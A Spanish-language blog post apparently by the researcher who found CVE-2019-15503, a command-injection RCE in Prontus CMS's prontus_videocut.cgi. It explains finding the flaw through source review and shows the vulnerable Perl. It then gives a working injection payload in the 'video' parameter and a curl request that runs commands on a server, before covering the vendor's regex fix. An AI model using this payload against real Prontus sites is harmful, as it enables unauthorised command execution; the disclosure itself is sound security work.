isra.cl: programación, hacking & otras yerbas...

Dos años después: Prontus RCE

Más vale tarde que nunca. En este artículo describo el proceso para encontrar y explotar una vulnerabilidad del tipo Remote Command Execution (RCE) en Prontus CMS, descubierta en agosto de 2019, y que afectó a las versiones 11.2.101 a la 12.0.3.0. Esta vulnerabilidad fue parchada pocas horas después de ser reportada, y tiene asociado el CVE 2019-15503.

Introducción
Prontus CMS es un gestor de contenidos desarrollado por Altavoz, utilizado por cientos de clientes en ambientes corporativos, editoriales y transaccionales, entre los que se encuentran grandes empresas y sectores gubernamentales. El núcleo de Prontus está escrito en Perl, y su código (abierto) está disponible en GitHub.

Motivación
La búsqueda de vulnerabilidades se produjo durante un análisis de seguridad de rutina. Al no encontrar fallas aparentes en un portal que utilizaba Prontus, y tomando en cuenta que tenía conocimientos previos en Perl, decidí revisar el código fuente de la aplicación para entender cómo funcionaba y ver si existía algo para reportar explotar. Hace algún tiempo había escrito un par de módulos en Perl que nadie usaba, por lo que me entusiasmaba la idea de analizar código de una aplicación en Perl que sí era usada por mucha gente y que estaba en producción en varios portales.

Búsqueda & Explotación
Como era primera vez que revisaba el código, comencé buscando lo más atractivo y entretenido: llamadas para ejecutar comandos de sistema. Para ello elaboré un listado de funciones conocidas para ejecución de comandos en Perl: system(), exec(), qx//, ``. También se puede ejecutar comandos con open, pero me enfoqué en el listado incial de cuatro funciones. Busqué dichas funciones en el código para tener una idea de potenciales fallas, considerando de forma especial llamadas con variables como parámetros. Habían varias.
$ find . -name "*.cgi" | xargs grep "system(" | wc -l
24

$ find . -name "*.cgi" | xargs grep "exec(" | wc -l
0

$ find . -name "*.cgi" | xargs grep "qx" | wc -l
16

$ find . -name "*.cgi" | xargs grep "\`" | wc -l
40
Comencé a analizar las llamadas una a una, empezando por la función system(). Muchas no recibían parámetros mediante peticiones GET/POST (i.e. no se podía interactuar con ellas), o verificaban la estructura de los parámetros recibidos, por lo que no resultaba factible inyectar contenido arbitrario. Por ejemplo, en el archivo /cgi-cpn/galeria/prontus_galeria_procesar.cgi se realiza una llamada system $cmd, donde $cmd obtiene parte de su valor desde una variable $origen recibida como parámetro. Sin embargo, el contenido de $origen es verificado mediante expresiones regulares y además es recibido a través de línea de comandos (no mediante formulario web), por lo que tampoco es posible interactuar con dicho archivo de forma remota.
my $origen = $ARGV[0];
...
if ($origen =~ m|^(.*)/(.*?)/site/artic/(\d{8})/pags/(\d{14})\.\w+$|) {
    ...
} else {
    &exitProgram("Error al leer el TS del archivo de entrada [$origen]");
};
...
my $cmd = "$prontus_varglb::DIR_SERVER/$prontus_varglb::DIR_CGI_CPAN/dam/prontus_dam_ppart_save.cgi $origen $prontus_varglb::PUBLIC_SERVER_NAME &";
print STDERR "[" . &glib_hrfec_02::get_dtime_pack4() . "] $cmd\n";
system $cmd;
Así, casi todas las llamadas estaban protegidas de una manera u otra. Excepto una. El código vulnerable estaba en el archivo /cgi-cpn/xcoding/prontus_videocut.cgi. En él, existe un parámetro video recibido mediante petición GET, que es utilizado como argumento en la función cortar_video.
&glib_cgi_04::set_formvar('video', \%FORM);
&glib_cgi_04::set_formvar('t1', \%FORM);
&glib_cgi_04::set_formvar('t2', \%FORM);
&glib_cgi_04::set_formvar('prontus_id', \%FORM);
...
my $res = &cortar_video($FORM{'video'}, $destino, $FORM{'t1'}, $FORM{'t2'});
En dicha función, el contenido del parámetro video (llamado internamente $origen) forma parte de una variable $cmd que luego es utilizada en una función qx//. Bingo. Encontramos una llamada para ejecutar comando de sistema que recibe una variable mediante parámetro GET, y no verifica su contenido o estructura. Podemos interrumpir el comando ejecutado (ffmpeg) e insertar uno propio.
sub cortar_video  {
    my $origen = $_[0];
    ...
    $cmd = "$prontus_varglb::DIR_FFMPEG/ffmpeg -ss $t1 -t $duracion -i $origen -y -vcodec copy -acodec copy $destino";
    print STDERR "Cortando video cmd[$cmd]...\n";
    $res = qx/$cmd 2>&1/;
    ...
}

Para explotar la vulnerabilidad solo basta hacer una petición GET con una consulta válida y una variable video bien construida. Una consulta válida lleva cuatro parámetros: prontus_id, video, t1, t2. El valor de prontus_id es el nombre de la instancia Prontus utilizada, que generalmente se puede averiguar observando la estructura del portal web. Los parámetros t1 y t2 pueden ser cualquier valor numérico. Finalmente, una variable video bien construida debe ser una cadena que empiece con ;comando;. Esto interrumpe la ejecución de ffmpeg y ejecuta comando. Por ejemplo, los valores:

prontus_id = prontus
t1 = 1
t2 = 2
video = ;id;video.mpeg
Generan lo siguiente:
$cmd = "$prontus_varglb::DIR_FFMPEG/ffmpeg -ss 1 -t 1 -i ;id;video.mpeg -y -vcodec copy -acodec copy ;id;video.cut.mpeg";
...
$res = qx/$cmd 2>&1/;
Cuando la variable $cmd es invocada en la función qx//, se interrumpe la llamada a ffmpeg y se ejecuta el comando id. Esto genera un blind RCE. Podemos mejorar esto y construir una consulta curl que ejecute comandos, como por ejemplo, crear un archivo warn.html en la raíz de un portal (localhost) que utiliza Prontus con una instancia llamada prueba:
$ curl http://localhost/cgi-cpn/xcoding/prontus_videocut.cgi?prontus_id=prueba&t1=1&t2=2&video=;touch ../../warn.html;video.mpeg
De todas maneras, la forma más efectiva de explotación es crear una shell reversa y desde allí tener una sesión para ejecutar comandos. En este enlace existe un script para realizar eso.

Mitigación
La vulnerabilidad fue corregida poco tiempo después de ser reportada, en el release 11.2.106. Para ello, se agregó una expresión regular que verifica el contenido del parámetro video. Se comprueba que posea estructura de nombre de archivo válido, y luego se concatena con una variable que contiene el identificador de la instancia Prontus utilizada. En caso que no se cumpla la expresión regular, se considera como archivo no válido y se interrumpe la ejecución de la aplicación.
# se valida el nombre de archivo del video
if ($FORM{'video'} =~ /(\/site\/\w+\/\d+\/mmedia\/multimedia_video\d+\d{14}\.\w+)$/i) {
    $FORM{'video'} = "/$prontus_varglb::PRONTUS_ID$1";
} else {
    print "Error: Archivo de video no valido\n";
    exit;
}
Al momento de escribir este artículo, la última versión de Prontus disponible es la 12.1.30.0, por lo que cualquier sitio con actualizaciones vigentes debería estar protegido ante esta vulnerabilidad.